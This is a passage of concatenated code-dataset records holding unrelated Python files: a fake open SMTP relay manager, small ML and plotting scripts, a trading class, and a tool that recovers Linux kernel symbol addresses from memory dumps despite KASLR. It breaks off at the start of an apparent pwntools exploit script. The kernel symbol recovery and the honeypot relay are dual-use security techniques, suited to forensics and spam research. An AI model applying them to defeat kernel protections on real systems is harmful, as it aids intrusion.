\" + self.todayDate\n\t\treturn msg\n\t\t\t\n\tdef create_new_config(self):\n\t\tmsg = self.create_new_mail()\n\t\tip = Helpers.get_json_from_url('https://httpbin.org/ip')\n\t\tobj = { 'global': {'ip': ip['origin'], 'maxRelayPerDay' : GlobalConfig.MAX_RELAY_PER_DAY, 'todayRelayCount': 0, 'ParseInbox': True, 'maxInboxSize': GlobalConfig.MAX_INBOX_SIZE}, 'logs': []}\n\t\tmsg.set_payload(json.dumps(obj, indent=2))\n\t\t\n\t\tself.msgKey = self.mbox.add(msg)\n\t\tself.mbox.flush()\n\t\treturn msg\n\t\n\tdef read(self):\n\t\t#config = ConfigParser()\n\t\t#return config.read_string(self.msg.get_payload())\n\t\treturn json.loads(self.msg.get_payload())\n\t\n\tdef write(self, config):\n\t\t# Only write back the config when a change actually occured\n\t\tif config != json.loads(self.msg.get_payload()):\n\t\t\tnewMsg = self.create_new_mail()\n\t\t\tnewMsg.set_payload(json.dumps(config, indent=2))\n\t\t\t#self.mbox.remove(self.msg)\n\t\t\tself.mbox.remove(self.msgKey)\n\t\t\tself.msgKey = self.mbox.add(newMsg)\n\t\t\tself.msg = newMsg\n\t\t\tself.mbox.flush()\n\n\t\t\nclass Exec():\n\tdef __init__(self, startup_args):\n\t\t# startup_args is a Namespace set via argparser and containing the following key / values\n\t\t#\t- interactive = False\n\t\t# \t- testMode = False\n\t\t#\t- debug = False\n\t\tself.startup_args = startup_args\n\t\n\tdef run(self):\n\t\tif self.startup_args.interactive:\n\t\t\tself.runInteractive()\n\t\telse:\n\t\t\tself.runBatch()\n\t\t\t\n\tdef getScreenWidth(self):\n\t\tself.rows, self.columns = os.popen('stty size', 'r').read().split()\n\t\tself.rows = int(self.rows)\n\t\tself.columns = int(self.columns)\n\t\treturn self.columns\n\t\t\n\tdef printMailbox(self, mailbox):\n\t\t# Try to optimize the screen size: static colums are 26 char in size. Default match is for a console of 80 char width\n\t\tdynSize = (17, 17, 20)\n\t\twidthColumns = self.getScreenWidth()\n\t\tif widthColumns > 80:\n\t\t\twidthToDistribute = int((widthColumns - 80) / 3)\n\t\t\tdynSize = tuple(x+widthToDistribute for x in dynSize)\n\t\t\n\t\ttableFormat = '%-3i%-5s%-18s' + '%-' + str(dynSize[0]) + 's%-' + str(dynSize[1]) + 's%-' + str(dynSize[2]) + 's'\n\t\t\n\t\t# TODO: P2 fix subject if Unicode with the emails.util helper\n\t\t# TODO: P2 add column \"would relay\" Y / N\n\t\tfor key, msg in mailbox.iteritems():\n\t\t\tcontent = (\n\t\t\t\tkey,\n\t\t\t\tmsg.get_flags(),\n\t\t\t\tHelpers.trim_str(msg[\"Date\"],17, False),\n\t\t\t\tHelpers.trim_str(msg[\"Return-Path\"], dynSize[0]),\n\t\t\t\tHelpers.trim_str(msg[\"Envelope-To\"], dynSize[1]),\n\t\t\t\tHelpers.trim_str(msg[\"Subject\"], dynSize[2])\n\t\t\t)\n\t\t\tprint(tableFormat % (content))\n\t\n\tdef runInteractive(self):\n\t\tself.inbox = Helpers.get_mailbox(GlobalConfig.MAILBOX_INBOX_NAME)\n\t\tself.printMailbox(self.inbox)\n\t\t\n\t\twhile True:\n\t\t\topt = Helpers.choice(['R', 'V', 'S', 'Q'], \"Enter your choice (Refresh, Verify, Send, Quit): \")\n\t\t\t\n\t\t\tif opt == \"Q\":\n\t\t\t\tprint(\"Bye!\")\n\t\t\t\treturn\n\t\t\t\n\t\t\tif opt == 'R':\n\t\t\t\tself.inbox.close()\n\t\t\t\tself.inbox = Helpers.get_mailbox(GlobalConfig.MAILBOX_INBOX_NAME)\n\t\t\t\tself.printMailbox(self.inbox)\n\t\t\t\n\t\t\tif opt == 'V':\n\t\t\t\tindexMail = int(input(\"Enter the ID of the email to verify: \"))\n\t\t\t\t\n\t\t\t\trm = RelayMessage(self.inbox, indexMail)\n\t\t\t\trm.Verify()\n\t\t\t\tfor log in rm.logs:\n\t\t\t\t\tprint (log)\n\t\t\t\n\t\t\t# TODO: P2 merge with V\n\t\t\tif opt == 'S':\n\t\t\t\tindexMail = int(input(\"Enter the ID of the email to send: \"))\n\t\t\t\t\n\t\t\t\trm = RelayMessage(self.inbox, indexMail)\n\t\t\t\trm.Verify()\n\t\t\t\tfor log in rm.logs:\n\t\t\t\t\tprint (log)\n\t\t\t\t\n\t\t\t\topt = Helpers.choice(['Y', 'N'], \"Confirm you want to send this message (Yes, No): \")\n\t\t\t\tif opt == 'Y':\n\t\t\t\t\t# We already run the script in interactive mode, so we force the relay to be interactive as well\n\t\t\t\t\trm.relay(True, self.startup_args.testMode)\n\t\t\t\t\n\t# Idea: run it on startup e.g. with https://coderwall.com/p/quflrg/run-a-script-on-startup-in-a-detached-screen-on-a-raspberry-pi\n\tdef runBatch(self):\n\t\twhile True:\t\n\t\t\tp = ParseOpenRelayInbox(self.startup_args)\n\t\t\tp.Run()\n\t\t\ttime.sleep(GlobalConfig.BATCH_RUN_INTERVAL)\n\nif __name__ == \"__main__\":\n\tparser = argparse.ArgumentParser(description='Manages emails received on a SMTP open relay.')\n\tparser.add_argument('-i', '--interactive', action='store_true')\n\tparser.add_argument('-t', '--testMode', action='store_true')\n\tparser.add_argument('-d', '--debug', action='store_true')\n\targs = parser.parse_args()\n\t\n\te = Exec(args)\n\te.run()\n","sub_path":"Scripts/FakeOpenSmtpRelay.py","file_name":"FakeOpenSmtpRelay.py","file_ext":"py","file_size_in_byte":19176,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"215921277","text":"letter = ''\n\ndef setup():\n size(200, 200)\n stroke(200, 100, 100)\n strokeWeight(2)\n textSize(32)\n frameRate(8)\n \ndef draw():\n global letter\n background(30)\n if keyPressed == True:\n if key == BACKSPACE:\n if len(letter) > 0:\n letter = letter[0:len(letter)-1]\n elif textWidth(letter+key) < width:\n letter = letter + key\n lCount = letter.count('p')\n if lCount % 2 == 0:\n fill(200, 200, 100)\n else:\n fill(100, 200, 200)\n cursorPosition = textWidth(letter) + 3\n line(cursorPosition, height/2-textAscent(), cursorPosition, height/2+textDescent())\n text(letter, 0, 100)\n ","sub_path":"sketch_4/sketch_4.pyde","file_name":"sketch_4.pyde","file_ext":"pyde","file_size_in_byte":715,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"399259919","text":"from waveapi import events\nfrom waveapi import model\nfrom waveapi import robot\n\ndef OnParticipantsChanged(properties, context):\n \"\"\"Invoked when any participants have been added/removed.\"\"\"\n added = properties['participantsAdded']\n for p in added:\n Notify(context)\n\ndef OnRobotAdded(properties, context):\n \"\"\"Invoked when the robot has been added.\"\"\"\n root_wavelet = context.GetRootWavelet()\n root_wavelet.CreateBlip().GetDocument().SetText(\n \"I'm the Shot of Jaqy wave bot\")\n\ndef Notify(context):\n root_wavelet = context.GetRootWavelet()\n root_wavelet.CreateBlip().GetDocument().SetText(\n \"Hi there! Once I've been implemented I'll add items \"+\\\n \"from the Shot of Jaq \"+\"RSS feeds here\")\n\nif __name__ == '__main__':\n myRobot = robot.Robot('shotofjaqybot', \n image_url='',\n version='0-0-1b',\n profile_url='http://shotofjaqybot.appspot.com/')\n myRobot.RegisterHandler(events.WAVELET_PARTICIPANTS_CHANGED, OnParticipantsChanged)\n myRobot.RegisterHandler(events.WAVELET_SELF_ADDED, OnRobotAdded)\n myRobot.Run()\n","sub_path":"shotofjaqy.py","file_name":"shotofjaqy.py","file_ext":"py","file_size_in_byte":1074,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"65869220","text":"import numpy as np\nfrom pylab import *\n\nclass Bin:\n def __init__(self, xi):\n self.xi = xi\n self.count = 1\n def update(self, xj, xj_count):\n self.xi = (self.xi * self.count + xj * xj_count)/(self.count + xj_count)\n self.count = self.count + xj_count\n\ndef binary_search(bins, xk, left, right):\n if( left == right):\n return left\n if(xk bins[right].xi):\n return right+1\n mid = int((left + right)/2) \n if( xk < bins[mid].xi): return binary_search(bins, xk, left, mid)\n else:\n if(left == mid):\n return right\n return binary_search(bins, xk, mid, right)\ndef find_merge_index_public(bins):\n min_distance = abs(bins[0].xi - bins[1].xi)\n min_index = 0\n for i in xrange(1,len(bins)-1):\n tmp_min_distance = abs(bins[i].xi - bins[i+1].xi)\n if(min_distance > tmp_min_distance):\n min_index = i\n min_distance = tmp_min_distance\n return min_index \n\n\ndef find_merge_index_private(bins):\n min_instances = bins[0].count + bins[1].count\n min_distance = abs(bins[0].xi - bins[1].xi)\n min_index = 0\n for i in xrange(1,len(bins)-1):\n tmp_instances = bins[i].count + bins[i+1].count\n if(tmp_instances < min_instances):\n min_instances = tmp_instances\n min_distance = abs(bins[i].xi - bins[i+1].xi)\n min_index = i\n elif(tmp_instances == min_instances):\n tmp_distance = abs(bins[i].xi - bins[i+1].xi)\n if(tmp_distance < min_distance):\n min_index = i\n return min_index \n\ndef generate_bins_public(x,num_bins):\n res = []\n tmp = x[0:num_bins]\n tmp.sort()\n for i in xrange(num_bins):\n res.append(Bin(tmp[i]))\n for j in xrange(num_bins, len(x)):\n index = binary_search(res, x[j], 0, num_bins-1) \n if(index == len(x)):\n res.append(Bin(x[j]))\n else:\n res.insert(index, Bin(x[j]))\n merge_index = find_merge_index_public(res)\n res[merge_index].update(res[merge_index+1].xi, res[merge_index+1].count)\n res.remove(res[merge_index+1])\n return res\n\ndef generate_bins_private(x,num_bins):\n res = []\n tmp = x[0:num_bins]\n tmp.sort()\n for i in xrange(num_bins):\n res.append(Bin(tmp[i]))\n for j in xrange(num_bins, len(x)):\n index = binary_search(res, x[j], 0, num_bins-1) \n if(index == len(x)):\n res.append(Bin(x[j]))\n else:\n res.insert(index, Bin(x[j]))\n merge_index = find_merge_index_private(res)\n res[merge_index].update(res[merge_index+1].xi, res[merge_index+1].count)\n res.remove(res[merge_index+1])\n return res\n\n\ndef generate_x(bins, low, high):\n res = []\n step = ((bins[1].xi + bins[0].xi)/2 - low)/bins[0].count\n for j in xrange(bins[0].count):\n res.append( low + j*step)\n\n for i in xrange(1, len(bins) -1):\n low = (bins[i].xi + bins[i-1].xi)/2\n step = ((bins[i+1].xi + bins[i].xi)/2 - low)/bins[i].count\n for j in xrange(bins[i].count):\n res.append( low + step * j)\n\n low = (bins[len(bins)-1].xi + bins[len(bins)-2].xi)/2\n step = (high - low)/bins[len(bins)-1].count\n for j in xrange(bins[len(bins)-1].count):\n res.append( low + step * j)\n\n return res\n\ndef generate_bins_standard(x,num_bins):\n res = []\n\n high = max(x)\n low = min(x)\n for j in xrange(num_bins):\n res.append(Bin((high - low)/num_bins * j+ low))\n for i in xrange(len(x)):\n index = int((x[i] - low) * (num_bins-1) /(high - low))\n res[index].count = res[index].count + 1\n\n return res\n\n\n#def generate_bins_direct(x,num_bins):\n \n\ndef test():\n# x = np.random.uniform(0,10,100000)\n x = np.random.normal(0, 10, 100000)\n# x = np.random.exponential(2, 100000)\n# x = np.random.lognormal(0.0,1.0, 100000)\n\n bins_standard= generate_bins_standard(x,100)\n xi = []\n count = []\n for ele in bins_standard:\n xi.append(ele.xi)\n count.append(ele.count)\n plot(xi, count, label = 'standard')\n\n bins_private = generate_bins_private(x,100)\n sec_bins = generate_bins_standard(generate_x(bins_private,min(x), max(x)), 100)\n xi = []\n count = []\n for ele in sec_bins:\n xi.append(ele.xi)\n count.append(ele.count)\n plot(xi, count, label = 'private')\n\n bins_public= generate_bins_public(x,100)\n sec_bins = generate_bins_standard(generate_x(bins_public,min(x), max(x)), 100)\n xi = []\n count = []\n for ele in sec_bins:\n xi.append(ele.xi)\n count.append(ele.count)\n plot(xi, count, label = 'public')\n\n legend()\n show()\n\nif __name__ == '__main__':\n test()\n\n","sub_path":"generate_bins.py","file_name":"generate_bins.py","file_ext":"py","file_size_in_byte":4757,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"494482670","text":"# coding: utf-8\nimport os\nimport pandas as pd\nimport gc\nfrom utils import raw_data_path, feature_data_path, result_path, cache_pkl_path, dump_pickle, load_pickle\n\ndef addAdFeature(data):\n\n feature_path = raw_data_path+'adFeature.pkl'\n if os.path.exists(feature_path):\n ad_feature = load_pickle(feature_path)\n else:\n ad_feature = pd.read_csv(raw_data_path+'adFeature.csv')\n dump_pickle(ad_feature,feature_path)\n return pd.merge(data,ad_feature,on='aid',how='left')\n\n\ndef addUserFeature(data):\n\n feature_path = raw_data_path+'userFeature.pkl'\n if os.path.exists(feature_path):\n user_feature = load_pickle(feature_path)\n else:\n user_feature = pd.read_csv(raw_data_path+'userFeature.csv')\n dump_pickle(user_feature,feature_path)\n return pd.merge(data,user_feature,on='uid',how='left')\n\n\ndef csv_pkl(csv_name_without_suffix, protocol=None):\n pkl_path = raw_data_path + csv_name_without_suffix + '.pkl'\n if not os.path.exists(pkl_path):\n print('generating ' + pkl_path)\n data = pd.read_csv(raw_data_path + csv_name_without_suffix + '.csv')\n dump_pickle(data, pkl_path, protocol=protocol)\n else:\n print('found ' + pkl_path)\n\ndef run():\n\n print('-------------------- read data -------------------------------------')\n\n train = pd.read_csv(raw_data_path + 'train.csv')\n test = pd.read_csv(raw_data_path + 'test2.csv')\n train.loc[train['label'] == -1, 'label'] = 0\n test['label'] = -1\n dump_pickle(train, raw_data_path + 'train.pkl')\n dump_pickle(test, raw_data_path + 'test2.pkl')\n\n\n csv_pkl('adFeature')\n csv_pkl('userFeature', protocol=4)\n\n\n if not os.path.exists(feature_data_path):\n os.mkdir(feature_data_path)\n if not os.path.exists(cache_pkl_path):\n os.mkdir(cache_pkl_path)\n\n train = load_pickle(raw_data_path + 'train.pkl')\n test = load_pickle(raw_data_path + 'test2.pkl')\n\n data = pd.concat([train, test])\n data = addAdFeature(data)\n data = addUserFeature(data)\n\n data = data.drop(['appIdAction','appIdInstall','interest3','interest4','kw3','topic3'],axis=1)\n data = data.fillna('-1')\n\n print('-------------------- save to pickle -------------------------------------')\n dump_pickle(data, raw_data_path + 'preprocess.pkl', protocol=4)\n\n\n del data\n gc.collect()\n\n\nif __name__ == '__main__':\n run()","sub_path":"code/_1_1_preprocessData.py","file_name":"_1_1_preprocessData.py","file_ext":"py","file_size_in_byte":2384,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"280597797","text":"from django.db import models\nfrom django.utils import timezone\n\nclass UserManager(models.Manager):\n def store_user(self, data, **kwargs):\n user, _ = self.update_or_create(\n instagram_id=data['user']['id'],\n defaults={\n 'username': data['user']['username'],\n 'auth_token': data['access_token'],\n 'last_login': timezone.now(),\n },\n )\n # print(\"DEBUG: User has been created?\")\n # print(created, user.last_login, user.instagram_id)\n # print(\"DEBUG: EOF - data signals\")\n return user.id\n","sub_path":"instagramdata/managers.py","file_name":"managers.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"431312661","text":"#!/usr/bin/python3\n\nif __package__:\n from .unicorn_magic import extract_symbols\nelse:\n from unicorn_magic import extract_symbols\n\nimport tempfile\nimport struct\nimport mmap\nimport sys\nimport re\nimport os\n\nTHRESHOLD_KSYMTAB = 2000\nTHRESHOLD_KALLSYMS = 2000\n\n# Since the ksymtab contains an entry for the function\n# kallsyms_on_each_symbol, first of all we find the ksymtab and the\n# physical address of \"kallsyms_on_each_symbol\".\n\n# KASLR randomizes at the page granularity, so page offsets are\n# not changed. For this reason, we can search in the ksymtab all those entries that\n# have a name value with the same page offset of the string. At this point\n# we know 3 elements of the equation: value_va - name_va =\n# value_pa - name_pa and thus we can find value_pa (the physical\n# address of the function).\n\ndef read_str(dump, address):\n end = dump[address:address+1024].index(b'\\x00')\n try:\n return dump[address:address+end].decode('utf-8')\n except UnicodeError:\n return \"\"\n\ndef save_kallsyms(results_dir, ksyms, va, pa):\n filename = os.path.join(results_dir, hex(pa))\n print(\"[+] Saving %d kallsyms found with kallsyms_on_each_symbol @ 0x%x in %s\" % (len(ksyms), va, filename))\n\n ksyms.sort()\n\n with open(filename, \"w\") as f:\n for value, name in ksyms:\n f.write(\"%016x %s\\n\" % (value, name))\n\ndef extract_kallsyms(dump):\n for ksymtab, va, pa in find_kallsyms_on_each_symbol_function(dump):\n ksyms = extract_symbols(dump, va, pa)\n if len(ksyms) < THRESHOLD_KALLSYMS:\n continue\n\n # Adding the symbols contained in the ksymtab\n for value, name in ksymtab:\n name_str = read_str(dump, name - va + pa)\n if (value, name_str) not in ksyms:\n ksyms.append((value, name_str))\n\n yield ksyms, va, pa\n\n# Value can also be a per_cpu pointer, thus the check if is less than 0x100000\ndef is_valid_entry(value, name):\n return (name >= 0xffffffff80000000) and (0xffffffff80000000 <= value < 0xffffffffffffffff or value <= 0x100000)\n\n# Offset is needed because the ksymtab can start at 0xXXXX8.\ndef find_candidate_ksymtab(dump, offset=0, namespace=False):\n ksymtab = []\n if namespace:\n ksymbol_fmt = \" THRESHOLD_KSYMTAB:\n yield ksymtab\n\n ksymtab = []\n\ndef find_string(dump, s):\n for match in re.finditer(s, dump):\n yield match.start()\n\ndef page_offset(a):\n return a & 0xfff\n\n# Finds those entries in ksymtab that have page_offset(virtual_name) == page_offset(physical_name).\ndef get_entries_with_name_offset(ksymtab, offsets):\n for (v, n) in ksymtab:\n for o in offsets:\n if page_offset(n) == page_offset(o):\n yield v, n, o\n\ndef find_kallsyms_on_each_symbol_function(dump):\n name_pas = list(find_string(dump, b\"kallsyms_on_each_symbol\\x00\"))\n if len(name_pas) == 0:\n print(\"[-] kallsyms_on_each_symbol string not found, aborting!\")\n sys.exit(-1)\n\n for name_pa in name_pas:\n print(\"[+] Candidate kallsyms_on_each_symbol string found @ 0x%x\" % name_pa)\n\n ksymtabs = []\n ksymtabs += list(find_candidate_ksymtab(dump))\n ksymtabs += list(find_candidate_ksymtab(dump, offset=8))\n ksymtabs += list(find_candidate_ksymtab(dump, namespace=True))\n ksymtabs += list(find_candidate_ksymtab(dump, offset=8, namespace=True))\n\n for ksymtab in ksymtabs:\n print(\"\\n[+] Found a potential ksymtab with: %d elements\" % len(ksymtab))\n for value_va, name_va, name_pa in get_entries_with_name_offset(ksymtab, name_pas):\n value_pa = (value_va - name_va) + name_pa\n print(\"[+] Candidate kallsyms_on_each_symbol function va: 0x%x pa: 0x%x name: 0x%x\" % (value_va, value_pa, name_va))\n yield ksymtab, value_va, value_pa\n\nif __name__ == \"__main__\":\n\n if len(sys.argv) < 2:\n print(\"Usage: %s dump.raw [DUMP MUST BE IN RAW FORMAT]\" % sys.argv[0])\n sys.exit(-1)\n\n with open(sys.argv[1]) as f:\n dump = mmap.mmap(f.fileno(), 0, access=mmap.ACCESS_READ)\n\n results_dir = tempfile.mkdtemp(prefix=\"kallsyms_\")\n for ksyms, va, pa in extract_kallsyms(dump):\n save_kallsyms(results_dir, ksyms, va, pa)\n\n print(\"\\n[+] Results saved in: %s\" % results_dir)\n","sub_path":"ksymextractor/kallsyms.py","file_name":"kallsyms.py","file_ext":"py","file_size_in_byte":4920,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"311385316","text":"import cv2\nimport os\nimport json\nimport torch\nimport numpy as np\nfrom torch import nn, optim\nimport torch.nn.functional as F\nfrom torchvision import models\nfrom torch.utils.data import Dataset, DataLoader\nfrom torchvision.transforms import ToTensor\nfrom torch.cuda.amp import autocast, GradScaler\n\n\n# coarse class\n# class_index = {'背面白斑': [1], '背面附金': list(range(2, 6)), '背面基片混': [6], \n# '背面漏镀': list(range(7, 10)), '背面缺件': list(range(10, 22)), \n# '背面熵切引损伤': [22], \n# '背面损伤': list(range(23, 60)), '背面锈点': list(range(60, 65)) + list(range(66, 75)), \n# '背面虚焊': [75], '背面引纯低': [76], '背面引浅伤': list(range(77, 82)), \n# '背面粘上膜': list(range(82, 101)),\n# '背面粘珠': list(range(101, 110)) + list(range(120, 172)), \n# '反面打扁不良': list(range(172, 216)), '反面伤散热器': list(range(216, 222)), \n# '反面污渍': list(range(222, 257)), '反面引线长打扁': list(range(257, 260)), \n# '正面白斑': [260],\n# '正面打扁不良': list(range(261, 305)), '正面附金': list(range(305, 308)), \n# '正面基片混': [308], '正面漏镀': list(range(309, 312)), '正面缺件': list(range(312, 324)), \n# '正面伤散热器': list(range(324, 330)),\n# '正面熵切引损伤': [330], '正面损伤': list(range(331, 368)), \n# '正面污渍': list(range(368, 404)), '正面锈点': list(range(404, 418)), \n# '正面虚焊': [418], '正面引纯低': [419],\n# '正面引浅伤': list(range(420, 425)), '正面引线长打扁': list(range(425, 428)), \n# '正面粘上膜': list(range(428, 447)), '正面粘珠': list(range(447, 494)), \n# '正常': list(range(494, 538))}\n\n# modified class\nclass_index = {'背面漏镀': list(range(7, 10)), \n '背面损伤': list(range(23, 60)), '背面锈点': list(range(60, 65)) + list(range(66, 75)), \n '背面虚焊': [75] + list(range(538, 548)),\n '背面粘珠': list(range(101, 110)) + list(range(120, 172)), \n '反面污渍': list(range(222, 257)), \n '正面白斑': [260],\n '正面打扁不良': list(range(261, 305)), '正面附金': list(range(305, 308)), \n '正面基片混': [308], '正面漏镀': list(range(309, 312)), '正面缺件': list(range(312, 324)), \n '正面伤散热器': list(range(324, 330)),\n '正面熵切引损伤': [330], '正面损伤': list(range(331, 368)), \n '正面污渍': list(range(368, 404)), '正面锈点': list(range(404, 418)), \n '正面虚焊': [418], '正面引纯低': [419],\n '正面引线损伤': list(range(420, 425)), '正面引线未打扁': list(range(425, 428)), \n '正面粘上膜': list(range(428, 447)), '正面粘珠': list(range(447, 494)), \n '正常': list(range(494, 538))}\n\n\ndef prepare_label(data_folder, class_index):\n dir_with_label = []\n cls_count = 0\n for cls in class_index.keys():\n file_range = class_index[cls]\n for f in file_range:\n dir_with_label.append({'file_dir': os.path.join(data_folder, '{:04d}.jpg'.format(f)),\n 'label': cls_count})\n cls_count += 1\n return dir_with_label, list(class_index.keys())\n\n\nclass Det(nn.Module):\n def __init__(self, backbone, num_class):\n super().__init__()\n self.backbone = backbone\n self.linear = nn.Linear(1000, num_class)\n \n def forward(self, inputs):\n hidden = F.relu(self.backbone(inputs))\n outputs = self.linear(hidden)\n return outputs\n\n\nclass load_data(Dataset):\n\n def __init__(self, indices) -> None:\n super().__init__()\n self.indices = indices\n self.transforms = ToTensor()\n print('length: {}'.format(len(indices)))\n \n def __getitem__(self, index):\n annotation = self.indices[index]\n img_dir, label = annotation['file_dir'], annotation['label']\n img = cv2.imread(img_dir)\n img = self.transforms(img)\n # print(img_dir)\n\n return img, label, img_dir\n \n def __len__(self):\n return len(self.indices)\n\n\ndef evaluate(model, test_loader, epoch, name, is_final):\n with torch.no_grad():\n result = []\n mistake_results = {}\n correct = 0\n total = 0\n labels_all = {}\n mis_count = {}\n count_per_class = {}\n for i in range(len(class_index)):\n count_per_class[i] = {\"TP\": 0, \"FP\": 0, \"FN\": 0, \"total\": 0}\n\n\n for data in test_loader:\n imgs, labels, img_dirs = data\n \n for item in labels:\n if int(item) not in labels_all:\n labels_all[int(item)] = 1\n else:\n labels_all[int(item)] += 1\n\n logits = model(imgs.cuda()).cpu()\n _, predicted_logits = torch.max(logits, 1)\n correct += (predicted_logits == labels).sum().item()\n total += imgs.shape[0]\n for idx in range(labels.shape[0]):\n label = int(labels[idx])\n logit = int(predicted_logits[idx])\n\n # if label not in count_per_class.keys():\n # count_per_class[label] = {\"TP\": 0, \"FP\": 0, \"FN\": 0, \"total\": 0}\n count_per_class[label][\"total\"] += 1\n\n if predicted_logits[idx] != labels[idx]:\n if int(labels[idx]) not in mistake_results.keys():\n mistake_results[int(labels[idx])] = []\n mis_count[int(labels[idx])] = []\n mistake_results[int(labels[idx])].append({'img_dir': str(img_dirs[idx]), \n 'logits': int(predicted_logits[idx])})\n mis_count[int(labels[idx])].append(int(predicted_logits[idx]))\n\n # calculate FN FP:\n count_per_class[label][\"FP\"] += 1\n count_per_class[logit][\"FN\"] += 1\n else:\n count_per_class[label][\"TP\"] += 1\n for idx in range(labels.shape[0]):\n result.append({'img_dir': str(img_dirs[idx]), \n 'logits': int(predicted_logits[idx]), \n 'label': int(labels[idx])})\n \n if is_final:\n for i in range(len(class_index)):\n if count_per_class[i][\"total\"] == 0:\n continue\n if count_per_class[i][\"TP\"] == 0:\n acc, recall, precision = 0, 0, 0\n else:\n acc = count_per_class[i][\"TP\"] / count_per_class[i][\"total\"]\n recall = count_per_class[i][\"TP\"] / (count_per_class[i][\"TP\"] + count_per_class[i][\"FN\"])\n precision = count_per_class[i]['TP'] / (count_per_class[i]['TP'] + count_per_class[i]['FP'])\n print(\"class, {}, acc, {:.4f}, recall, {:.4f}, precision, {:.4f}\".format(i, acc, recall, precision))\n\n with open('../{}_result.json'.format(name), 'w') as f:\n config = json.dumps(result, indent=4)\n f.write(config)\n with open('../{}_misktake_result.json'.format(name), 'w') as f:\n config = json.dumps(mistake_results, indent=4)\n f.write(config)\n print('epoch {}: {} acc {:.2f} %'.format(epoch, name, (correct / total) * 100))\n if is_final:\n data_sorted = sorted(zip(labels_all.keys(), labels_all.values()))\n for item in data_sorted:\n print(item)\n for item in zip(mis_count.keys(), mis_count.values()):\n print(item)\n\n\nif __name__ == \"__main__\":\n seed = np.random.randint(20000)\n print(\"random seed: {}\".format(seed))\n np.random.seed(seed)\n torch.manual_seed(seed)\n torch.cuda.manual_seed(seed)\n \n \n data_folder = '../img'\n BATCH_SIZE = 32 \n LR = 0.0001\n L2 = 0.0001\n ratio = 0.7\n EPOCHS = 100\n\n data_anno, real_labels = prepare_label(data_folder, class_index)\n device = torch.device('cuda:0')\n\n backbone = models.resnet18(pretrained=False)\n model = Det(backbone, len(class_index))\n model.to(device)\n \n indices = list(range(len(data_anno)))\n \n train_indices = np.random.choice(indices, size=int(len(data_anno) * ratio), replace=False)\n test_indices = list(set(indices) - set(train_indices))\n\n train_anno = [data_anno[i] for i in train_indices]\n test_anno = [data_anno[i] for i in test_indices]\n\n print('loading train set and test set')\n train_set = load_data(train_anno)\n test_set = load_data(test_anno)\n\n train_loader = DataLoader(train_set, BATCH_SIZE, shuffle=True, num_workers=4)\n test_loader = DataLoader(test_set, BATCH_SIZE, shuffle=True, num_workers=4)\n\n optimizer = optim.Adam(model.parameters(), LR, weight_decay=L2)\n loss_fn = nn.CrossEntropyLoss()\n \n scaler = GradScaler()\n # training stage\n is_final = False\n for epoch in range(EPOCHS):\n running_loss = []\n \n for data in train_loader:\n images, labels, _ = data\n optimizer.zero_grad()\n with autocast():\n logits = model(images.to(device))\n loss = loss_fn(logits, labels.long().to(device))\n scaler.scale(loss).backward()\n scaler.step(optimizer)\n scaler.update()\n running_loss.append(loss.item())\n print('epoch {}: loss {:.4f}'.format(epoch, np.array(running_loss).mean()))\n if epoch == EPOCHS - 1:\n is_final = True\n evaluate(model, train_loader, epoch, 'train', False)\n evaluate(model, test_loader, epoch, 'test', is_final)\n print(\"random seed: {}\".format(seed))\n print(real_labels)\n","sub_path":"code/src/multi-classification.py","file_name":"multi-classification.py","file_ext":"py","file_size_in_byte":10087,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"279066311","text":"# Copyright (C) 2013, Maxime Biais \n\nfrom .mtgox import PrivateMtGox\n\n\nclass PrivateMtGoxEUR(PrivateMtGox):\n def __init__(self):\n super().__init__()\n self.ticker_url = {\"method\": \"GET\", \"url\":\n \"https://mtgox.com/api/1/BTCEUR/public/ticker\"}\n self.buy_url = {\"method\": \"POST\", \"url\":\n \"https://mtgox.com/api/1/BTCEUR/private/order/add\"}\n self.sell_url = {\"method\": \"POST\", \"url\":\n \"https://mtgox.com/api/1/BTCEUR/private/order/add\"}\n self.currency = \"EUR\"\n\n def get_info(self):\n params = [(\"nonce\", self._create_nonce())]\n response = self._send_request(self.info_url, params)\n if response and \"result\" in response and response[\"result\"] == \"success\":\n self.btc_balance = self._from_int_amount(int(\n response[\"return\"][\"Wallets\"][\"BTC\"][\"Balance\"][\"value_int\"]))\n self.eur_balance = self._from_int_price(int(\n response[\"return\"][\"Wallets\"][\"EUR\"][\"Balance\"][\"value_int\"]))\n self.usd_balance = self.fc.convert(self.eur_balance, \"EUR\", \"USD\")\n return 1\n return None\n","sub_path":"arbitrage/private_markets/mtgoxeur.py","file_name":"mtgoxeur.py","file_ext":"py","file_size_in_byte":1197,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"351686533","text":"from django.shortcuts import render\n\n# Create your views here.\nfrom .forms import PostUrlForm\nfrom .models import Photo\nfrom .models import download_image\n\n\ndef show_photo(request):\n if request.method == 'POST':\n form = PostUrlForm(request.POST)\n if form.is_valid():\n url = request.POST.dict()['url']\n photo = Photo(url)\n photo.make_profile_img()\n photo.save_image_to_local()\n return render(request, 'tools/index.html', {'img_temp': photo.img_tmp})\n else:\n form = PostUrlForm()\n return render(request, 'tools/index.html', {'form': form})\n\n\ndef download(request):\n if 'download' in request.POST:\n form = PostUrlForm(request.POST)\n if form.is_valid():\n url = request.POST.dict()['url']\n photo = Photo(url)\n photo.make_profile_img()\n photo.save_image_to_local()\n return download_image(photo.file_dir)\n # img_json = {'image_file': settings.MEDIA_URL + photo.image_path}\n # return render(request, 'tools/index.html', {'image_path': photo.image_path})\n else:\n form = PostUrlForm()\n return render(request, 'tools/index.html', {'form': form})\n\n","sub_path":"tools/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1236,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"447807926","text":"#!/usr/bin/python\n#__author__:TaQini\n\nfrom pwn import 